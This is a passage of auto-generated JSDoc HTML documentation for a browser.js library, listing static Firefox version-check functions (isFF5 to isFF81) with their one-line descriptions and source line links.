href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line545\">line 545</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF5\"><span class=\"type-signature\">(static) </span>isFF5<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF5.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line193\">line 193</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF50\"><span class=\"type-signature\">(static) </span>isFF50<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF50</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line553\">line 553</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF51\"><span class=\"type-signature\">(static) </span>isFF51<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF51</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line561\">line 561</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF52\"><span class=\"type-signature\">(static) </span>isFF52<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF52</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line569\">line 569</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF53\"><span class=\"type-signature\">(static) </span>isFF53<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF53</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line577\">line 577</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF54\"><span class=\"type-signature\">(static) </span>isFF54<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF54</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line585\">line 585</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF55\"><span class=\"type-signature\">(static) </span>isFF55<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF55</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line593\">line 593</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF56\"><span class=\"type-signature\">(static) </span>isFF56<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF56</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line601\">line 601</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF57\"><span class=\"type-signature\">(static) </span>isFF57<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF57</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line609\">line 609</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF58\"><span class=\"type-signature\">(static) </span>isFF58<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF58</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line617\">line 617</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF59\"><span class=\"type-signature\">(static) </span>isFF59<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF59</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line625\">line 625</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF6\"><span class=\"type-signature\">(static) </span>isFF6<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF6.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line201\">line 201</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF60\"><span class=\"type-signature\">(static) </span>isFF60<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF60</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line633\">line 633</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF61\"><span class=\"type-signature\">(static) </span>isFF61<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF61</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line641\">line 641</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF62\"><span class=\"type-signature\">(static) </span>isFF62<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF62</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line649\">line 649</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF63\"><span class=\"type-signature\">(static) </span>isFF63<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF63</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line657\">line 657</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF64\"><span class=\"type-signature\">(static) </span>isFF64<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF64</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line665\">line 665</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF65\"><span class=\"type-signature\">(static) </span>isFF65<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF65</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line673\">line 673</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF66\"><span class=\"type-signature\">(static) </span>isFF66<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF66</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line681\">line 681</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF67\"><span class=\"type-signature\">(static) </span>isFF67<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF67</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line689\">line 689</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF68\"><span class=\"type-signature\">(static) </span>isFF68<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF68</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line697\">line 697</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF69\"><span class=\"type-signature\">(static) </span>isFF69<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF69</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line705\">line 705</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF7\"><span class=\"type-signature\">(static) </span>isFF7<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF7.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line209\">line 209</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF70\"><span class=\"type-signature\">(static) </span>isFF70<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF70</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line713\">line 713</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF71\"><span class=\"type-signature\">(static) </span>isFF71<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF71</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line721\">line 721</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF72\"><span class=\"type-signature\">(static) </span>isFF72<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF72</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line729\">line 729</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF73\"><span class=\"type-signature\">(static) </span>isFF73<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF73</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line737\">line 737</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF74\"><span class=\"type-signature\">(static) </span>isFF74<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF74</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line745\">line 745</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF75\"><span class=\"type-signature\">(static) </span>isFF75<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF75</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line753\">line 753</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF76\"><span class=\"type-signature\">(static) </span>isFF76<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF76</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line761\">line 761</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF77\"><span class=\"type-signature\">(static) </span>isFF77<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF77</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line769\">line 769</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF78\"><span class=\"type-signature\">(static) </span>isFF78<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF78</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line777\">line 777</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF79\"><span class=\"type-signature\">(static) </span>isFF79<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF79</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line785\">line 785</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF8\"><span class=\"type-signature\">(static) </span>isFF8<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF8.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line217\">line 217</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF80\"><span class=\"type-signature\">(static) </span>isFF80<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if FF80</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line793\">line 793</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".isFF81\"><span class=\"type-signature\">(static) </span>isFF81<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns true if 